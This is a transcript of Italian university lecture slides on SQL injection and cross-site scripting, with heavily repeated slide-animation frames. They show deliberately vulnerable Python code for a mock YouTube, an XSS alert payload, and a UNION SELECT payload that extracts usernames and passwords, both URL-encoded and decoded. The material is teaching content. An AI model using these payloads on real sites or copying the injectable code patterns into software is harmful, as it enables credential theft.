analisi di vulnerabilità e prevenzione di attacchi sql
TRANSCRIPT
Pattern Recognition and Applications Lab
University of Cagliari, Italy
Department of Electrical and Electronic
Engineering
Analisi di vulnerabilità e prevenzione di attacchi SQL injection e Cross-site Scripting
Dott. Ing. Igino Corona igino.corona (at) diee.unica.it
Corso Sicurezza Informatica 2015/16
http://pralab.diee.unica.it
Introduzione: Il World Wide Web• Il moderno World Wide Web è basato su un meccanismo di
comunicazione client-server essenzialmente semplice • Un client invia un messaggio di richiesta verso un server • Un server invia un messaggio di risposta
• I messaggi: • sono specificati secondo il protocollo HTTP (es. RFC2616
https://tools.ietf.org/html/rfc2616) • sono scambiati attraverso protocollo TCP • possono essere cifrati attraverso protocolli come TLS (HTTPS)
2
client (browser)
GET /search?q=hacking HTTP/1.1Host: www.google.itConnection: close
server (www.google.it)
HTTP/2.0 200 OKContent-Type: text/html; charset=UTF-8Content-Length: 3386
<html>…</html>
http://pralab.diee.unica.it
Introduzione: Simulazione di un browser• Come “carica” le pagine il nostro browser?
• Simuliamolo, assumendo di contattare http://www.google.it/search?q=hacking (risultati di ricerca associati al testo ‘hacking’)
• Le fasi sono le seguenti 1. Risoluzione del nome www.google.it 2.Connessione TCP verso l’indirizzo IP risolto 3. Invio messaggio HTTP GET /search?q=hacking 4. Ricezione della risposta (risultati di ricerca)
3
http://pralab.diee.unica.it
Introduzione: Simulazione di un browser1. Risoluzione del nome www.google.it
• Tale operazione viene eseguita solo se non esiste alcun indirizzo IP associato al nome di dominio nella cache del browser
• Per risolvere un nome di dominio possiamo usare il comando dig
$ dig www.google.it
; <<>> DiG 9.8.3-P1 <<>> www.google.it ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 48745 ;; flags: qr rd ra; QUERY: 1, ANSWER: 8, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION: ;www.google.it. IN A
;; ANSWER SECTION: www.google.it. 170 IN A 149.3.176.56 www.google.it. 170 IN A 149.3.176.54 www.google.it. 170 IN A 149.3.176.53 www.google.it. 170 IN A 149.3.176.55 www.google.it. 170 IN A 149.3.176.57 www.google.it. 170 IN A 149.3.176.59 www.google.it. 170 IN A 149.3.176.52 www.google.it. 170 IN A 149.3.176.58
;; Query time: 59 msec
4
http://pralab.diee.unica.it
Introduzione: Simulazione di un browser2.Connessione TCP verso l’indirizzo IP risolto.
• Il browser di solito contatta il primo indirizzo IP in lista • Nel nostro caso è 149.3.176.56 • Il modo più semplice è usare il comando telnet
$ telnet 149.3.176.56 80 Trying 149.3.176.56... Connected to 149.3.176.56. Escape character is ‘^]’.
3. Invio messaggio HTTP GET /search?q=hacking • Il messaggio minimale secondo HTTP versione 1 è il seguente • Il client indica al server di aver terminato l’invio del messaggio con un una
linea vuota finale
GET /search?q=hacking HTTP/1.1 Host: www.google.it Connection: close <enter>
5
http://pralab.diee.unica.it
Introduzione: Simulazione di un browser4. Ricezione della risposta (risultati di ricerca)
• Il server risponde con un messaggio con i risultati di ricerca in formato HTML
HTTP/1.1 200 OK Date: Thu, 07 Apr 2016 11:47:39 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=ISO-8859-1 P3P: CP="This is not a P3P policy! See https://www.google.com/support/accounts/answer/151657?hl=en for more info." Server: gws X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Set-Cookie: NID=78=TQUEsIGGX5mf4L154Hn9TTMUkWXtG0Y4eKPhLVkR0EZpHWeX6g062aLJWz4rE0QzvVivYTiHgVliO4qnjJrLbQfTkvaoN5NWbXyviA21_iLWR5J5VDtIHGa3bO7cPjjs; expires=Fri, 07-Oct-2016 11:47:39 GMT; path=/; domain=.google.it; HttpOnly Accept-Ranges: none Vary: Accept-Encoding Connection: close
<!doctype html> … </html>Connection closed by foreign host.
6
http://pralab.diee.unica.it
Sicurezza nel World Wide Web• Il server riceve dei messaggi dal client (e vice versa) • MA non esiste alcuna garanzia che i messaggi rispettino
• le specifiche del protocollo con cui intendono comunicare • gli input previsti dagli sviluppatori • la logica di funzionamento delle applicazioni associate
• cosa c’è di anomalo nelle richieste/risposte di cui sopra?
7
client (browser)
GET /search?q=h&q=<ac&q=king HTTP/1.1Host: www.google.it....Host: www.facebook.comHost: www.twitter.comConnection: closeConnection: keep-alive
server (www.google.it)
HTTP/2.0 200 OKHTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTf-8Content-Length: 3
<html>…</html>
http://pralab.diee.unica.it
Sicurezza nel World Wide Web• I criminali informatici mirano all’individuazione di condizioni
• “non previste dagli sviluppatori” • attraverso violazioni deliberate dei protocolli / logica dei messaggi • per eseguire operazioni non autorizzate sui dispositivi/servizi
• acquisizione di informazioni confidenziali • controllo remoto dei dispositivi (es. per botnet) • compromissione dei servizi per attività illecite (es. phishing)
• In questa lezione • approfondiremo il tema relativo alle vulnerabilità più comuni lato server
(SQL Injection e Cross-site Scripting) • vedremo
• da cosa sono causate • come sia possibile sfruttarle illecitamente (in un ambiente isolato)
8
http://pralab.diee.unica.it
Video su (vulnerable) Youtube
9
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
Video Results
10
• Il servizio normalmente funziona bene, ma è affetto da una GRAVE vulnerabilità
Web Application (Python)
http://pralab.diee.unica.it
Video Results
10
• Il servizio normalmente funziona bene, ma è affetto da una GRAVE vulnerabilità
def results(search_query): html = """<input name="search_query" value="%s" title="Cerca" aria-label="Cerca" type="text">""" % search_query
… return html
Web Application (Python)
http://pralab.diee.unica.it
Video Results
10
• Il servizio normalmente funziona bene, ma è affetto da una GRAVE vulnerabilità
def results(search_query): html = """<input name="search_query" value="%s" title="Cerca" aria-label="Cerca" type="text">""" % search_query
… return html
Web Application (Python)
Cosa succede se richiedo il link: • https://www.youtube.com/results?search_query=%64%65%65%70%2B
%70%75%72%70%6C%65%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%74%65%73%74%20%58%53%53%22%29%3C%2F%73%63%72%69%70%74%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%20
http://pralab.diee.unica.it
Video Results
10
• Il servizio normalmente funziona bene, ma è affetto da una GRAVE vulnerabilità
def results(search_query): html = """<input name="search_query" value="%s" title="Cerca" aria-label="Cerca" type="text">""" % search_query
… return html
Web Application (Python)
Cosa succede se richiedo il link: • https://www.youtube.com/results?search_query=%64%65%65%70%2B
%70%75%72%70%6C%65%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%74%65%73%74%20%58%53%53%22%29%3C%2F%73%63%72%69%70%74%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%20
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
11
Web Serverwww.youtube.com
GET /results?search_query=<evil input>
results()
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>="><script>alert("test XSS")</script><input value="
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
11
Web Serverwww.youtube.com
GET /results?search_query=<evil input>
results()
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>="><script>alert("test XSS")</script><input value="
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
11
Web Serverwww.youtube.com
GET /results?search_query=<evil input>
results()
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>="><script>alert("test XSS")</script><input value="
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
11
Web Serverwww.youtube.com
GET /results?search_query=<evil input>
results()
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>="><script>alert("test XSS")</script><input value="
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
11
Web Serverwww.youtube.com
GET /results?search_query=<evil input>
results()seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>="><script>alert("test XSS")</script><input value="
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
11
Web Serverwww.youtube.com
GET /results?search_query=<evil input>
results()seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>="><script>alert("test XSS")</script><input value="
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
11
Web Serverwww.youtube.com
GET /results?search_query=<evil input>
results()seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>="><script>alert("test XSS")</script><input value="
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
11
Web Serverwww.youtube.com
GET /results?search_query=<evil input>
results()seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>="><script>alert("test XSS")</script><input value="
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
11
Web Serverwww.youtube.com
GET /results?search_query=<evil input>
results()seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>="><script>alert("test XSS")</script><input value="
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
11
Web Serverwww.youtube.com
GET /results?search_query=<evil input>
results()
search_query=“<evil input>"
seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>="><script>alert("test XSS")</script><input value="
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
11
Web Serverwww.youtube.com
GET /results?search_query=<evil input>
input
results()
search_query=“<evil input>"
seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>="><script>alert("test XSS")</script><input value="
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
11
Web Serverwww.youtube.com
GET /results?search_query=<evil input>
input
results()
search_query=“<evil input>"
seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>="><script>alert("test XSS")</script><input value="
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
11
Web Serverwww.youtube.com
GET /results?search_query=<evil input>
input
results()
search_query=“<evil input>"
seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>="><script>alert("test XSS")</script><input value="
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
11
Web Serverwww.youtube.com
GET /results?search_query=<evil input>
input
results()
output
search_query=“<evil input>"
seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>="><script>alert("test XSS")</script><input value="
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
11
Web Serverwww.youtube.com
GET /results?search_query=<evil input>
input
results()
output
search_query=“<evil input>"
seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>="><script>alert("test XSS")</script><input value="
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
11
Web Serverwww.youtube.com
GET /results?search_query=<evil input>
input
“Results” + malicious JavaScript code
results()
output
search_query=“<evil input>"
seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>="><script>alert("test XSS")</script><input value="
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
11
Web Serverwww.youtube.com
GET /results?search_query=<evil input>
input
“Results” + malicious JavaScript code
results()
output
search_query=“<evil input>"
seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>="><script>alert("test XSS")</script><input value="
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
11
Web Serverwww.youtube.com
GET /results?search_query=<evil input>
input
“Results” + malicious JavaScript code
results()
output
search_query=“<evil input>"
seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>="><script>alert("test XSS")</script><input value="
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
11
Web Serverwww.youtube.com
GET /results?search_query=<evil input>
input
“Results” + malicious JavaScript code
results()
output
search_query=“<evil input>"
seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>="><script>alert("test XSS")</script><input value="
html = <input name="search_query" value=""><script>alert("test XSS")</script><input value="" title="Cerca" aria-label="Cerca" type="text">
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
11
Web Serverwww.youtube.com
GET /results?search_query=<evil input>
input
“Results” + malicious JavaScript code
results()
output
search_query=“<evil input>"
seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>="><script>alert("test XSS")</script><input value="
Cross-Site Scripting sfrutta la mancata validazione di input sulla variabile search_query per inserire JavaScript arbitrario sulla pagina
html = <input name="search_query" value=""><script>alert("test XSS")</script><input value="" title="Cerca" aria-label="Cerca" type="text">
http://pralab.diee.unica.it
Video su (vulnerable) Youtube
12
Web Serverwww.youtube.com
GET /watch?v=39vhEHUOBRU
watch(v)
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
Video su (vulnerable) Youtube
12
Web Serverwww.youtube.com
GET /watch?v=39vhEHUOBRU
watch(v)
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
Video su (vulnerable) Youtube
12
Web Serverwww.youtube.com
GET /watch?v=39vhEHUOBRU
watch(v)
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
Video su (vulnerable) Youtube
12
Web Serverwww.youtube.com
GET /watch?v=39vhEHUOBRU
watch(v)
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
Video su (vulnerable) Youtube
12
Web Serverwww.youtube.com
GET /watch?v=39vhEHUOBRU
watch(v)seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
Video su (vulnerable) Youtube
12
Web Serverwww.youtube.com
GET /watch?v=39vhEHUOBRU
watch(v)seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
Video su (vulnerable) Youtube
12
Web Serverwww.youtube.com
GET /watch?v=39vhEHUOBRU
watch(v)seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
Video su (vulnerable) Youtube
12
Web Serverwww.youtube.com
GET /watch?v=39vhEHUOBRU
watch(v)seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
Video su (vulnerable) Youtube
12
Web Serverwww.youtube.com
GET /watch?v=39vhEHUOBRU
watch(v)seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
Video su (vulnerable) Youtube
12
Web Serverwww.youtube.com
GET /watch?v=39vhEHUOBRU
watch(v)
v="39vhEHUOBRU"
seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
Video su (vulnerable) Youtube
12
Web Serverwww.youtube.com
GET /watch?v=39vhEHUOBRU
input
watch(v)
v="39vhEHUOBRU"
seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
Video su (vulnerable) Youtube
12
Web Serverwww.youtube.com
GET /watch?v=39vhEHUOBRU
input
watch(v)
v="39vhEHUOBRU"
seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
Video su (vulnerable) Youtube
12
Web Serverwww.youtube.com
GET /watch?v=39vhEHUOBRU
input
watch(v)
v="39vhEHUOBRU"
seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
Video su (vulnerable) Youtube
12
Web Serverwww.youtube.com
GET /watch?v=39vhEHUOBRU
input
watch(v)
output
v="39vhEHUOBRU"
seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
Video su (vulnerable) Youtube
12
Web Serverwww.youtube.com
GET /watch?v=39vhEHUOBRU
input
watch(v)
output
v="39vhEHUOBRU"
seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
Video su (vulnerable) Youtube
12
Web Serverwww.youtube.com
GET /watch?v=39vhEHUOBRU
input
“Deep Purple-Made In Japan (1972)” video stream
watch(v)
output
v="39vhEHUOBRU"
seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
Video su (vulnerable) Youtube
12
Web Serverwww.youtube.com
GET /watch?v=39vhEHUOBRU
input
“Deep Purple-Made In Japan (1972)” video stream
watch(v)
output
v="39vhEHUOBRU"
seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
Watch Video
13
• Il servizio normalmente funziona bene, ma è affetto da una GRAVE vulnerabilità
Web Application (Python)
http://pralab.diee.unica.it
Watch Video
13
• Il servizio normalmente funziona bene, ma è affetto da una GRAVE vulnerabilità
def watch(v): … query = "SELECT content FROM video WHERE hash='%s'" % urllib.unquote(v) return db_cursor.execute(query)
Web Application (Python)
http://pralab.diee.unica.it
Watch Video
13
• Il servizio normalmente funziona bene, ma è affetto da una GRAVE vulnerabilità
def watch(v): … query = "SELECT content FROM video WHERE hash='%s'" % urllib.unquote(v) return db_cursor.execute(query)
Web Application (Python)
Cosa succede se richiedo il link: • https://www.youtube.com/watch?v=%33%39%76%68%45%48%55%4F
%42%52%55%27%2F%2A%2A%2F%55%4E%49%4F%4E%2F%2A%2A%2F%53%45%4C%45%43%54%2F%2A%2A%2F%43%4F%4E%43%41%54%28%75%73%65%72%2C%27%7C%27%2C%70%61%73%73%29%2F%2A%2A%2F%46%52%4F%4D%2F%2A%2A%2F%75%73%65%72%73%2F%2A%2A%2F%57%48%45%52%45%2F%2A%2A%2F%27%31%27%3D%27%31
http://pralab.diee.unica.it
Watch Video
13
• Il servizio normalmente funziona bene, ma è affetto da una GRAVE vulnerabilità
def watch(v): … query = "SELECT content FROM video WHERE hash='%s'" % urllib.unquote(v) return db_cursor.execute(query)
Web Application (Python)
Cosa succede se richiedo il link: • https://www.youtube.com/watch?v=%33%39%76%68%45%48%55%4F
%42%52%55%27%2F%2A%2A%2F%55%4E%49%4F%4E%2F%2A%2A%2F%53%45%4C%45%43%54%2F%2A%2A%2F%43%4F%4E%43%41%54%28%75%73%65%72%2C%27%7C%27%2C%70%61%73%73%29%2F%2A%2A%2F%46%52%4F%4D%2F%2A%2A%2F%75%73%65%72%73%2F%2A%2A%2F%57%48%45%52%45%2F%2A%2A%2F%27%31%27%3D%27%31
http://pralab.diee.unica.it
Watch Video - Attacco
14
Sullo stesso database è presente una tabella users con i dati degli utenti (nome utente e password)
http://pralab.diee.unica.it
Watch Video - Attacco
14
Sullo stesso database è presente una tabella users con i dati degli utenti (nome utente e password)
Cosa succede se richiedo il link: • https://www.youtube.com/watch?v=%33%39%76%68%45%48%55%4f
%42%52%55%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%43%4f%4e%43%41%54%28%75%73%65%72%2c%27%7c%27%2c%70%61%73%73%77%6f%72%64%29%20%46%52%4f%4d%20%75%73%65%72%73%20%57%48%45%52%45%20%27%31%27%3d%27%31
• decodificata: • https://www.youtube.com/watch?v=39vhEHUOBRU'/**/UNION/**/
SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1
Query finale: SELECT content FROM video WHERE hash='39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
15
Web Serverwww.youtube.com
GET /watch?v=<evil input>
watch(v)
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'
SQL injection sfrutta la mancata validazione di input sulla variabile v
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
15
Web Serverwww.youtube.com
GET /watch?v=<evil input>
watch(v)
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'
SQL injection sfrutta la mancata validazione di input sulla variabile v
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
15
Web Serverwww.youtube.com
GET /watch?v=<evil input>
watch(v)
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'
SQL injection sfrutta la mancata validazione di input sulla variabile v
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
15
Web Serverwww.youtube.com
GET /watch?v=<evil input>
watch(v)
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'
SQL injection sfrutta la mancata validazione di input sulla variabile v
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
15
Web Serverwww.youtube.com
GET /watch?v=<evil input>
watch(v)seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'
SQL injection sfrutta la mancata validazione di input sulla variabile v
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
15
Web Serverwww.youtube.com
GET /watch?v=<evil input>
watch(v)seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'
SQL injection sfrutta la mancata validazione di input sulla variabile v
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
15
Web Serverwww.youtube.com
GET /watch?v=<evil input>
watch(v)seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'
SQL injection sfrutta la mancata validazione di input sulla variabile v
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
15
Web Serverwww.youtube.com
GET /watch?v=<evil input>
watch(v)seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'
SQL injection sfrutta la mancata validazione di input sulla variabile v
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
15
Web Serverwww.youtube.com
GET /watch?v=<evil input>
watch(v)seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'
SQL injection sfrutta la mancata validazione di input sulla variabile v
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
15
Web Serverwww.youtube.com
GET /watch?v=<evil input>
watch(v)
v="<evil input>"
seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'
SQL injection sfrutta la mancata validazione di input sulla variabile v
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
15
Web Serverwww.youtube.com
GET /watch?v=<evil input>
input
watch(v)
v="<evil input>"
seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'
SQL injection sfrutta la mancata validazione di input sulla variabile v
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
15
Web Serverwww.youtube.com
GET /watch?v=<evil input>
input
watch(v)
v="<evil input>"
seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'
SQL injection sfrutta la mancata validazione di input sulla variabile v
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
15
Web Serverwww.youtube.com
GET /watch?v=<evil input>
input
watch(v)
v="<evil input>"
seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'
SQL injection sfrutta la mancata validazione di input sulla variabile v
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
15
Web Serverwww.youtube.com
GET /watch?v=<evil input>
input
watch(v)
output
v="<evil input>"
seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'
SQL injection sfrutta la mancata validazione di input sulla variabile v
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
15
Web Serverwww.youtube.com
GET /watch?v=<evil input>
input
watch(v)
output
v="<evil input>"
seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'
SQL injection sfrutta la mancata validazione di input sulla variabile v
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
15
Web Serverwww.youtube.com
GET /watch?v=<evil input>
input
“Deep Purple-Made In Japan (1972)” video stream + concat(user,password)
watch(v)
output
v="<evil input>"
seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'
SQL injection sfrutta la mancata validazione di input sulla variabile v
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
15
Web Serverwww.youtube.com
GET /watch?v=<evil input>
input
“Deep Purple-Made In Japan (1972)” video stream + concat(user,password)
watch(v)
output
v="<evil input>"
seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'
SQL injection sfrutta la mancata validazione di input sulla variabile v
http://pralab.diee.unica.it
Cross-site Scripting su (vulnerable) Youtube
15
Web Serverwww.youtube.com
GET /watch?v=<evil input>
input
“Deep Purple-Made In Japan (1972)” video stream + concat(user,password)
watch(v)
output
v="<evil input>"
seleziona applicazione web
https://www.youtube.com/watch?v=39vhEHUOBRU
<evil input>=39vhEHUOBRU'/**/UNION/**/SELECT/**/CONCAT(user,'|',pass)/**/FROM/**/users/**/WHERE/**/'1'='1'
SQL injection sfrutta la mancata validazione di input sulla variabile v
http://pralab.diee.unica.it
SQL Injection su (vulnerable) Youtube
16
Web Serverwww.youtube.com
GET /watch?v=<evil input>
watch(v)
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
SQL Injection su (vulnerable) Youtube
16
Web Serverwww.youtube.com
GET /watch?v=<evil input>
watch(v)
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
SQL Injection su (vulnerable) Youtube
16
Web Serverwww.youtube.com
GET /watch?v=<evil input>
watch(v)
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
SQL Injection su (vulnerable) Youtube
16
Web Serverwww.youtube.com
GET /watch?v=<evil input>
watch(v)
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
SQL Injection su (vulnerable) Youtube
16
Web Serverwww.youtube.com
GET /watch?v=<evil input>
watch(v)seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
SQL Injection su (vulnerable) Youtube
16
Web Serverwww.youtube.com
GET /watch?v=<evil input>
watch(v)seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
SQL Injection su (vulnerable) Youtube
16
Web Serverwww.youtube.com
GET /watch?v=<evil input>
watch(v)seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
SQL Injection su (vulnerable) Youtube
16
Web Serverwww.youtube.com
GET /watch?v=<evil input>
watch(v)seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
SQL Injection su (vulnerable) Youtube
16
Web Serverwww.youtube.com
GET /watch?v=<evil input>
watch(v)seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
SQL Injection su (vulnerable) Youtube
16
Web Serverwww.youtube.com
GET /watch?v=<evil input>
watch(v)
v="<evil input>"
seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
SQL Injection su (vulnerable) Youtube
16
Web Serverwww.youtube.com
GET /watch?v=<evil input>
input
watch(v)
v="<evil input>"
seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
SQL Injection su (vulnerable) Youtube
16
Web Serverwww.youtube.com
GET /watch?v=<evil input>
input
watch(v)
v="<evil input>"
seleziona applicazione web
Browser
https://www.youtube.com/watch?v=39vhEHUOBRU
http://pralab.diee.unica.it
